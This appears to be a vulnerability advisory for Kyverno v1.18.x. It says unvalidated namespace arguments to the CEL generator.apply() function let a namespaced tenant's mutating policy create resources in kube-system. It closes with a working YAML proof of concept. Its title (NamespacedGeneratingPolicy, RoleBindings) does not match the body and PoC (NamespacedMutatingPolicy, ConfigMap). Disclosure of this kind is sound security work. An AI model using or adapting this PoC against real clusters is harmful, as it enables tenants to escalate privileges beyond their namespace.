Kyverno's NamespacedGeneratingPolicy generator.apply() namespace argument unvalidated -- background controller creates RoleBindings in any namespace including kube-system

Summary

In Kyverno v1.18.1, a tenant who can create a NamespacedMutatingPolicy in their own namespace can instruct the admission controller to generate resources in any namespace by passing an arbitrary namespace string to the CEL generator.apply(namespace, resources) function.

Details

pkg/cel/libs/context.go:177 declares GenerateResources(namespace string, dataList []map[string]any). The namespace argument arrives unvalidated from the CEL expression generator.apply("<target-namespace>", [...]).

Version-Specific Impact

v1.18.0, v1.18.1 (affected via NamespacedMutatingPolicy only):

The nmpol CEL compiler unintentionally exposes the generator library to match condition expressions. A namespaced mutating policy can invoke generator.apply() in a boolean CEL expression such as matchConditions, triggering the admission controller to generate resources in any namespace at request time. This side effect executes with the admission controller's cluster-wide privileges.

NamespacedGeneratingPolicy is not a vector in v1.18.1 due to incomplete webhook and background processing wiring (not registered or functional).

Root Cause

The admission validator for NamespacedMutatingPolicy (pkg/cel/policies/mpol/validate.go) only checks that the policy compiles and does not enforce namespace scope on generator.apply() arguments.

Compare correctly-guarded equivalents: pkg/engine/context/loaders/configmap.go:102 rejects cross-namespace ConfigMap references for namespaced policies, and pkg/engine/apicall/apicall.go:73-82 enforces namespace segment matching. GenerateResources has neither guard.

Proof of Concept

Prerequisites: namespace tenant-ns exists; attacker has create on namespacedmutatingpolicies.policies.kyverno.io in tenant-ns.

apiVersion: policies.kyverno.io/v1beta1
kind: NamespacedMutatingPolicy
metadata:
  name: cross-ns-escalate
  namespace: tenant-ns
spec:
  matchConstraints:
    resourceRules:
    - apiGroups: [""]
      apiVersions: ["v1"]
      resources: ["configmaps"]
      operations: ["CREATE"]
  mutations:
  - patchType: applyConfiguration
    applyConfiguration:
      expression: object
  matchConditions:
  - name: trigger-escalation
    expression: |
      generator.apply("kube-system", [
        {
          "apiVersion": dyn("v1"),
          "kind": dyn("ConfigMap"),
          "metadata": dyn({
            "name": "kube-system-config",
            "namespace": "kube-system"
          }),
          "data": dyn({
            "injected-by": "tenant-policy",
            "impact": "unauthorized access to kube-system namespace"
          })
        }
      ])